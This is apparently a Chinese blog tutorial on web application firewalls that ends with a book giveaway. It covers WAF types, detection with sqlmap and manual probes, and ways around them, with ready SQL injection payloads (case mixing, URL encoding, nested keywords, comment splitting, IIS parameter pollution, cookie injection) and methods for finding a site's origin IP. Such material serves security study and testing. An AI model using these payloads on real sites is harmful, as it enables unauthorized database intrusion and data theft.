Hi!,我是小小,这是小小本周的最后一篇,本篇将会介绍WAF的事情,本篇将会文末送书。在此小小举出小手,相当欢迎各位快点快点快点参加。

什么是WAF

WAF是一种产品,一种web应用防火墙,通过执行一定的策如,实现保护Web应用程序。

WAF分类

软件型WAF

软件型WAF是以软件的形式保护服务器上的文件内容,由于安装在服务器上,所以可以随时解除到服务器上的文件,直接检测到服务器上是否由webshell的创建,是否由木马,等。

硬件型WAF

以硬件的形式部署在链路中,支持多种部署方式,可以拦截恶意流量,可以监听拦截的记录,

云WAF

一般以反向代理的形式工作,通过配置NS记录或CNAME记录,使对网站的请求报文优先经过WAF主机,经过WAF主机过滤后,将认为无害的请求报文再发送给实际网站服务器进行请求,可以说是带防护功能的CDN。

网站系统内置的WAF

此时分为以下的几种
1. 输入参数的强置类型转换
2. 输入参数合法性校验。
3. 关键函数执行的检测。
4. 对输入流程的数据进行相关的过滤,再执行。

识别网站WAF的类型

SQLMap

python sqlmap.py -u "http://xxx.com/se/" --identify-waf --batch

使用SQLMap自带的WAF模块可以识别出WAF种类,输入SQL命令可以看到相应的识别的结果
文末送书 | WAF 那些事插图
可以看到识别出WAF的类型为XXX Web Application Firewall。要想了解详细的识别规则可以查看SQLMap的WAF目录下的相关脚本,也可以按照其格式自主添加新的WAF识别规则,写好规则文件后直接放到WAF目录下即可。

手工判断

在URL后面直接加上基础的测试语句,例如

union select 1,2,3%23

或者相应的参数,如果别拦截,证明存在WAF,如果没有拦截,说明没有存在WAF。
文末送书 | WAF 那些事插图(1)

绕过WAF方法

大小写

在规则匹配的时候,使用这种方式

uNion sElEct 1,2,3,4,5

URL编码

少数WAF不会对URL编码进行过滤如下所示

union select 1,2,3,4,5

替换为

%75%6e%69%6f%6e%20%73%65%6c%65%63%74%20%31%2c%32%2c%33%2c%34%2c%35

替换关键字

替换一些关键字,例如select等关键字

ununionion selselectect 1,2,3,4,5

使用注释

添加注释绕过WAF

union/*2333*/select/*aaaa*/1, 2, 3, 4, 5

多参数请求拆分

对于多个参数拼接到同一条SQL语句的情况,可以进行拆分
例如请求URL时,GET参 数为如下格式。

a=[input1]&b=[input2]

将GET的参数a和参数b拼接到SQL语句中,SQL语句如下所示。

and a=[input1] and b=[input2]

这时就可以将注入语句进行拆分,如下所示。

a=union/*&b=*/select 1, 2, 3, 4

最终将参数a和参数b拼接,得到的SQL语句如下所示。

and a=union /*and b=*/select 1, 2, 3, 4

HTTP参数污染

HTTP参数污染是指当同一参数出现多次,不同的中间件会解析为不同的结果,具体如表所示(例子以参数color=red&color= blue为例)
文末送书 | WAF 那些事插图(2)
在上述提到的中间线中,IIS比较容易利用,可以直接分割带逗号的SQL语句。在其余的中间件中,如果WAF只检测了同参数名中的第一个或最后一个,并且中间件特性正好取与WAF相反的参数,则可成功绕过。下面以IIS为例,一般的SQL注入语句如下所示。

Inject=union select 1, 2, 3, 4

将SQL注入语句转换为以下格式。

Inject=union/*&inject=*/select/*&inject=*/1&inject=2&inject=3&inject=4

最终在IIS中读入的参数值将如下所示。

Inject=union/*,*/select/*,*/1, 2, 3, 4

生僻函数

使用生僻函数绕过

SELECT polygon((select*from (select*from(select@@version)f)x));

寻找网站源站IP

通过网站ip直接访问,绕过WAF
寻找网站源ip的方法
1. 寻找网站的历史解析记录。
2. 多个不同区域ping网站,查看IP解析的结果。
3. 找网站的二级域名、NS、MX记录等对应的IP。
4. 订阅网站邮件,查看邮件发送方的IP。

注入参数到cookie中

某些程序员在代码中使用

$_REQUEST

获取参数,而$_REQUEST会依次从GET/POST/cookie中获取参数,如果WAF只检测了GET/POST而没有检测cookie,可以将注入语句放入cookie中进行绕过。

送书

本次送书为 Node.js企业级应用开发实战
文末送书 | WAF 那些事插图(3)
赠书数量为一本,联合的出版社为北京大学出版社,感谢北京大学出版社的支持。
活动截止时间为2020年10月01日0点0分。
活动规则: 在10月01日0点0分之前,在本篇微信公众号文章下方进行评论,按照评论点赞数量最高的进行赠送。

结语

小小,双鱼座男,一枚文艺青年,你若不在,我必在,你若在,我也必在,我会永远的等你,我是小小,本篇结束,我们下期再见。